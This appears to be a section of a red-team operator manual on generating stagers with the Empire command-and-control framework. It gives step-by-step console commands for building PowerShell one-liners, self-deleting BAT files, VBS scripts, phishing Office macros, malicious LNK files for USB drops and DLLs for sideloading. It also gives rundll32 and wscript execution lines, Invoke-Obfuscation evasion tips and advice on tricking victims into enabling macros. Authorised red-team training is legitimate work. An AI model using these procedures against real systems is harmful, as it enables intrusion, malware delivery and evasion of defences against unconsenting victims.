3. Stager Generation
Stager Type Comparison
| Stager | Output | Best For | Requires |
|---|---|---|---|
multi/launcher | PowerShell one-liner | Universal delivery - paste into shell, RCE, macro, etc. | PowerShell execution |
multi/launcher_bat | .bat file | File drop + execute; self-deletes after run | CMD execution |
multi/launcher_vbs | .vbs file | WScript-based execution; legacy environments | WScript |
windows/macro | VBA macro code | Phishing via Office documents | MS Office |
windows/backdoorLnkMacro | .lnk file | USB drops, spearphishing attachment delivery | File execution |
windows/dll | .dll file | DLL sideloading, rundll32 execution | DLL load mechanism |
multi/launcher is your default starting point. If you can execute PowerShell, it works - and it can be wrapped in any other delivery mechanism (bat, vbs, macro). Only switch to a format-specific stager when you need a specific delivery container.
multi/launcher - PowerShell One-Liner
The most versatile stager. Generates a base64-encoded PowerShell one-liner that can be pasted directly into a shell, embedded in a script, or used as a payload in another delivery mechanism.
(Empire) > usestager multi/launcher
(Empire: stager/multi/launcher) > set Listener https-ops
(Empire: stager/multi/launcher) > options
(Empire: stager/multi/launcher) > generate
The output is a powershell -noP -sta -w 1 -enc <BASE64> command. Deliver this wherever you can get PowerShell execution.
Add set Obfuscate True before generating to run the launcher through Invoke-Obfuscation before output. See Obfuscation & Evasion for details.
multi/launcher_bat - BAT File
Wraps the PowerShell launcher in a .bat file. The BAT file self-deletes after executing the launcher.
(Empire) > usestager multi/launcher_bat
(Empire: stager/multi/launcher_bat) > set Listener https-ops
(Empire: stager/multi/launcher_bat) > set OutFile /tmp/update.bat
(Empire: stager/multi/launcher_bat) > generate
Deliver update.bat to the target and execute it via CMD, scheduled task, or any mechanism that runs .bat files.
multi/launcher_vbs - VBS File
Wraps the launcher in a VBScript file executed via wscript.exe. Useful on legacy systems or where PowerShell execution is restricted but WScript is not.
(Empire) > usestager multi/launcher_vbs
(Empire: stager/multi/launcher_vbs) > set Listener https-ops
(Empire: stager/multi/launcher_vbs) > set OutFile /tmp/update.vbs
(Empire: stager/multi/launcher_vbs) > generate
Execute on the target:
wscript.exe update.vbs
windows/macro - VBA Macro (Office Document)
Generates VBA macro code to embed in an MS Office document. When the victim enables macros, the agent executes.
(Empire) > usestager windows/macro
(Empire: stager/windows/macro) > set Listener https-ops
(Empire: stager/windows/macro) > set OutFile /tmp/macro.vba
(Empire: stager/windows/macro) > generate
Open any .docm or .xlsm file in Word/Excel, open the VBA editor (Alt+F11), paste the generated macro into ThisDocument (Word) or ThisWorkbook (Excel), and save. See 262COS-CTE-AID-008 - Weaponizing MS Office Docs for full document weaponization procedures.
Modern Office installations with Protected View and macro warnings will prompt the user before executing. The document needs social engineering context that convinces the target to click "Enable Content."
windows/backdoorLnkMacro - LNK File
Generates a malicious .lnk (shortcut) file that executes the Empire stager when opened. Useful for USB drops or spearphishing attachments.
(Empire) > usestager windows/backdoorLnkMacro
(Empire: stager/windows/backdoorLnkMacro) > set Listener https-ops
(Empire: stager/windows/backdoorLnkMacro) > set OutFile /tmp/resume.lnk
(Empire: stager/windows/backdoorLnkMacro) > generate
The Obfuscate option has a known issue in certain Empire versions where FileNotFoundError(2, 'No such file or directory') is thrown during generation. If obfuscation is required, generate without it and apply Invoke-Obfuscation separately.
windows/dll - DLL Stager
Generates a .dll that can be loaded via rundll32, DLL sideloading, or any DLL-load primitive.
(Empire) > usestager windows/dll
(Empire: stager/windows/dll) > set Listener https-ops
(Empire: stager/windows/dll) > set OutFile /tmp/legit.dll
(Empire: stager/windows/dll) > generate
Execute on the target via rundll32:
rundll32.exe legit.dll,DllMain
Common Options (All Stagers)
(Empire: stager/****/****) > options # View all configurable fields
(Empire: stager/****/****) > set Listener <NAME>
(Empire: stager/****/****) > set Obfuscate True # Enable Invoke-Obfuscation
(Empire: stager/****/****) > set OutFile /tmp/<filename>
(Empire: stager/****/****) > generate
Help Menu
(Empire: usestager/*****/*****) > help
┌Help Options───────────────────────────────────┬───────────────────┐
│ Name │ Description │ Usage │
├──────────┼────────────────────────────────────┼───────────────────┤
│ execute │ Execute the stager │ execute │
├──────────┼────────────────────────────────────┼───────────────────┤
│ generate │ Generate the stager │ generate │
├──────────┼────────────────────────────────────┼───────────────────┤
│ help │ Display the help menu for the │ help │
│ │ current menu │ │
├──────────┼────────────────────────────────────┼───────────────────┤
│ info │ Print default info on the current │ info │
│ │ record. │ │
├──────────┼────────────────────────────────────┼───────────────────┤
│ options │ Print the current record options │ options │
├──────────┼────────────────────────────────────┼───────────────────┤
│ set │ Set a field for the current record │ set <key> <value> │
├──────────┼────────────────────────────────────┼───────────────────┤
│ unset │ Unset a record option. │ unset <key> │
└──────────┴────────────────────────────────────┴───────────────────┘